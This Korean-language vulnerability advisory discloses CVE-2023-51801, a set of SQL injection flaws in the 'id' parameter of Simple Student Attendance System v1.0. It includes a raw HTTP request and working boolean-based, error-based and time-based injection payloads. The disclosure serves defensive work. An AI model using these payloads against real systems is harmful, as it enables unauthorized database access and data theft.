geraldoalcantara/cve-2023-51801간단한 학생 출석 시스템 v.1.0 - 다중 SQL 인젝션 취약점 - student_form.php 및 class_form.php
설명: Simple Student Attendance System v.1.0은 인증된 공격자가 악용할 수 있는 다중 SQL 인젝션 취약점에 취약합니다. 이러한 취약점은 student_form.php 및 class_form.php에 존재하며, 'id' 매개변수를 통해 임의의 SQL 명령을 실행할 수 있습니다.
취약한 제품 버전: Simple Student Attendance System v.1.0
CVE 작성자: Geraldo Alcântara
날짜: 29/11/2023
확인일: 10/01/2024
CVE: CVE-2023-51801
CVE 링크: https://www.cve.org/CVERecord?id=CVE-2023-51801
NVD 링크: https://nvd.nist.gov/vuln/detail/CVE-2023-51801
Tenable 링크: https://www.tenable.com/cve/CVE-2023-51801
테스트 환경: Windows
이 취약점을 악용하려면 공격자는 'Student' 또는 'Classes' 페이지로 이동하여 학생이나 수업을 편집하거나 추가해야 합니다. 그런 다음 악성 페이로드를 'id' 매개변수에 삽입해야 합니다.
영향을 받는 구성 요소:
구성 요소: student_form.php 및 class_form.php
매개변수: id
POST /php-attendance/modals/class_form.php HTTP/1.1
Host: 192.168.68.182
Cookie: PHPSESSID=emhqgom5shgrtcii7p3a8ad1bo
Content-Length: 4
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.68.182
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.68.182/php-attendance/?page=class_list
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=1, i
Connection: close
id=1'
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1''' AND 4206=4206-- KDFY
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1''' OR (SELECT 1707 FROM(SELECT COUNT(*),CONCAT(0x716a6a7071,(SELECT (ELT(1707=1707,1))),0x717a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- xsae
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1''' AND (SELECT 1288 FROM (SELECT(SLEEP(5)))SVhp)-- EYkh
발견자/크레딧:
Geraldo Alcântara